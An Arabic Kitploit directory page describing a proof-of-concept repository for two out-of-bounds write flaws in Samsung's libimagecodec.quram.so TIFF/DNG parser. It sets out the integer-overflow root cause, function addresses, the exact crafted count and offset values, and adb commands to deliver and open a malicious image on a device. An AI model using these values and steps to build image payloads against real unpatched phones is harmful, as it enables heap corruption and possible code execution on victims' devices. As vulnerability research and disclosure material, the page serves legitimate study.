Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-21045_and_CVE-2026-21048 — ينشئ ملفات TIFF/DNG مصمّمة بعناية لاستغلال ثغرات الكتابة خارج النطاق في مكتبة libimagecodec.quram.so الخاصة بشركة Samsung، بما في ذلك تحليل الثنائيات وخطوات إعادة الإنتاج. | Kitploit
أدوات/GitHubGitHub/pealeap/cve-2026-21045_and_cve-2026-21048
أمان أندرويدتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةأمن الجوالتحليل الملفات الثنائيةالتعلم والتعليماستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
pealeap/cve-2026-21045_and_cve-2026-21048

CVE-2026-21045_and_CVE-2026-21048

ينشئ ملفات TIFF/DNG مصمّمة بعناية لاستغلال ثغرات الكتابة خارج النطاق في مكتبة libimagecodec.quram.so الخاصة بشركة Samsung، بما في ذلك تحليل الثنائيات وخطوات إعادة الإنتاج.

عرض المستودع
1منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-21045 و CVE-2026-21048 — إثبات مفهوم (PoC) لكتابة خارج الحدود في مكتبة Samsung libimagecodec.quram.so

نظرة عامة

يحتوي هذا المستودع على ملفات إثبات مفهوم (PoC) توضح ثغرات الكتابة خارج الحدود (OOB) في مكتبة ترميز الصور Quramsoft (libimagecodec.quram.so) المستخدمة على أجهزة Samsung التي تعمل بنظام Android.

CVEالصيغةالنوعالخطورةCVSS 4.0تم التصحيح في
CVE-2026-21045TIFFكتابة خارج الحدود (CWE-787)حرجة8.4SMR Jul-2026 Release 1
CVE-2026-21048DNGكتابة خارج الحدود (CWE-787)عالية—SMR Jul-2026 Release 1

الأجهزة المتأثرة

  • أجهزة Samsung Galaxy التي تعمل بنظام Android 14 أو 15 أو 16
  • تحديدًا: Galaxy Z Fold 7 و Flip 7 وسلسلة S وسلسلة A (مثل A17)
  • الأجهزة ذات تصحيح الأمان الأقدم من SMR Jul-2026 Release 1
  • المكتبة: /system/lib64/libimagecodec.quram.so

آلية الثغرة

السبب الجذري

تكمن الثغرة في دالة تحليل وسوم IFD (دليل ملف الصورة) المسماة WINKJ_ReadExifField (الإزاحة 0x13a0a8 في النسخة 64-بت). تعالج هذه الدالة إدخالات IFD الفردية في ملفات TIFF/EXIF، حيث يكون كل إدخال بنية بطول 12 بايت:

root@kitploit:~
Offset  Size  Field
------  ----  -----
0       2     Tag ID
2       2     Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4       4     Count (number of values)
8       4     Value / Offset to data

عندما يكون count * element_size > 4، يُتعامل مع حقل القيمة (Value) ذي الـ 4 بايت على أنه إزاحة ملف (تشير إلى موقع البيانات الفعلية). بعد ذلك يقوم الكود بإجراء فحص للحدود على العنوان 0x13a258:

root@kitploit:~
add w8, w6, w7    ; w8 = value_offset + (count * element_size)  [32-bit]
cmp w8, w5        ; compare against remaining buffer size
b.ls ok           ; if w8 <= buffer_size, proceed

تجاوز فحص الفيضان الصحيح

الثغرة عبارة عن فيضان عدد صحيح غير موقع 32-بت في عملية الجمع. إذا قام المهاجم ببناء value_offset و count * element_size بحيث يلتف مجموعهما إلى قيمة صغيرة، يمر الفحص على الرغم من أن الوصول الفعلي للذاكرة عند base + value_offset يخرج عن الحدود.

مثال (نوع UNDEFINED، element_size = 1):

الجمع 32-بت 0x17FFF + 0xFFFF0001 = 0x10008000 يُقتطع إلى 0x8000، وهو ما يساوي buffer_size. يمر الفحص، لكن مؤشر البيانات الفعلي (base + 0x17FFF) يقع بعد نهاية المخزن المؤقت المُخصص بمقدار 0x7FFF بايت.

مسار الكود المعرض للثغرة

root@kitploit:~
TIFFReadDirectory / WINKJ_ReadTiffInfo
  └─> WINKJ_ReadTiffIFDInfo   (allocates IFD buffer)
       └─> for each IFD entry:
            └─> WINKJ_ReadExifField   (parses entry, reads value data)
                 └─> Switch on Data Type (jump table at 0x13a15c)
                      ├─ Type 0 (BYTE/ASCII/UNDEFINED):  handler at 0x13a15c
                      ├─ Type 3/8 (SHORT/SSHORT):       handler at 0x13a1d0
                      ├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
                      └─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
                      Each handler -> reads data at offset -> bounds check at 0x13a258

ملفات إثبات المفهوم (PoC)

الملفالوصف
cve-2026-21045_tiff_oob_poc.pyيقوم بإنشاء poc_crash.tif — ملف TIFF تالف يُحدث كتابة خارج الحدود عبر وسم ASCII مع count/offset معدّين
cve-2026-21048_dng_oob_poc.pyيقوم بإنشاء poc_crash.dng — ملف DNG تالف يُحدث كتابة خارج الحدود عبر وسم UNDEFINED مع count/offset معدّين

الاستخدام

root@kitploit:~
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif

# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng

# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff

السلوك المتوقع

على جهاز غير مصحَّح (تصحيح الأمان قبل يوليو 2026)، يجب أن يؤدي فتح ملف TIFF/DNG المُعدّ في معرض Samsung (أو أي تطبيق يستخدم مفكك ترميز Quram) إلى تلف في ذاكرة الكومة (heap) قد يؤدي إلى:

  • تعطل التطبيق (SIGSEGV/SIGABRT)
  • كتابة خارج الحدود في الكومة
  • مع تخطيطات كومة محددة: احتمالية تنفيذ كود عشوائي

على جهاز مصحَّح (SMR Jul-2026 أو أحدث)، يجب رفض الصورة باعتبارها غير صالحة أو معالجتها بأمان. قد يشير التعطل على جهاز مصحَّح بالكامل إلى وجود مشكلة منفصلة غير مصحَّحة.

تفاصيل التحليل الثنائي

معلومات المكتبة

root@kitploit:~
File:   libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK:    r23c (Android 21)
Built:  2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so

الدوال الأساسية

جدول التوزيع (نوع الوسم → المُعالِج)

مستخرج من WINKJ_ReadExifField:

جميع الأنواع ذات element_size = 1 (BYTE و ASCII و UNDEFINED) تشترك في نفس المُعالِج وتكون معرضة بنفس القدر لثغرة تجاوز الفيضان الصحيح.

الثغرات ذات الصلة

إخلاء مسؤولية

تم توفير إثباتات المفهوم هذه لأغراض تعليمية وبحثية في مجال الأمن فقط. وهي توضح آلية الثغرة لمساعدة المستخدمين والمطورين على فهم المخاطر. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2026-21045
  • https://nvd.nist.gov/vuln/detail/CVE-2026-21048
  • https://security.samsungmobile.com/securityUpdate.smsb
  • https://gitlab.com/libtiff/libtiff/-/releases/v4.6.0
تنزيل الأداة
الحقلالقيمة (سداسي عشري)العشري
count0xFFFF00014,294,901,761
element_size11
count * element_size0xFFFF0001 ≡ -65535 (mod 2³²)4,294,901,761
value_offset0x00017FFF98,303
value_offset + count*size0x00008000 (فيضان!)32,768
buffer_size0x0000800032,768
نتيجة التحقق: 0x8000 <= 0x8000✅ نجاح—
الوصول الفعلي للذاكرة: base + 0x17FFF0x7FFF بايت خارج المخزن المؤقت❌ OOB
الدالةالعنوان (64-بت)الحجمالغرض
WINKJ_ReadExifField0x13a0a8912تحليل إدخال IFD فردي (قابل للاستغلال)
WINKJ_ReadTiffIFDInfo0x139d28896يقرأ جميع إدخالات IFD
WINKJ_ReadTiffInfo0x139ad4596محلل معلومات TIFF رفيع المستوى
WINKJ_GetTiffInfo0x1393fc1752نقطة الدخول الرئيسية لتحليل TIFF
decodeTIFF0x1a2adc580يفكك صورة TIFF عبر libtiff
getTIFFImageInfo0x1a2d20508يحصل على بيانات تعريف صورة TIFF
copySubImageBuffer0x0b2824324ينسخ منطقة صورة فرعية
TIFFReadDirectory0x1aac785896قارئ دليل libtiff 4.6.0
_TIFFMultiply320x1a2f1c56فحص ضرب آمن 32-بت
_TIFFMultiply640x1a2f5848فحص ضرب آمن 64-بت
النوعالاسمحجم العنصرعنوان المُعالِج
1BYTE10x13a15c
2ASCII10x13a15c
3SHORT20x13a1d0
4LONG40x13a17c
5RATIONAL80x13a1ac
6SBYTE10x13a15c
7UNDEFINED10x13a15c
8SSHORT20x13a1d0
9SLONG40x13a17c
10SRATIONAL80x13a1ac
11FLOAT40x13a17c
12DOUBLE80x13a1ac
CVEالوصفالحالة
CVE-2025-58477كتابة خارج الحدود في تحليل وسوم IFD في libimagecodec.quram.so (SMR Dec-2025)✅ مصحَّحة
CVE-2026-20973قراءة خارج الحدود في libimagecodec.quram.so (SMR Jan-2026)✅ مصحَّحة
CVE-2026-21045كتابة خارج الحدود في تحليل TIFF في libimagecodec.media.quram.so (SMR Jul-2026)⚠️ غير مصحَّحة لديّ
CVE-2026-21048كتابة خارج الحدود في تحليل DNG في libimagecodec.media.quram.so (SMR Jul-2026)⚠️ غير مصحَّحة لديّ
CVE-2026-4775فيضان عدد صحيح بإشارة في libtiff 4.6.0 putcontig8bitYCbCr44tile⚠️ غير مصحَّحة لديّ
CVE-2024-7006إلغاء مرجعية NULL في libtiff tif_dirinfo.c✅ تم إصلاحها في 4.6.1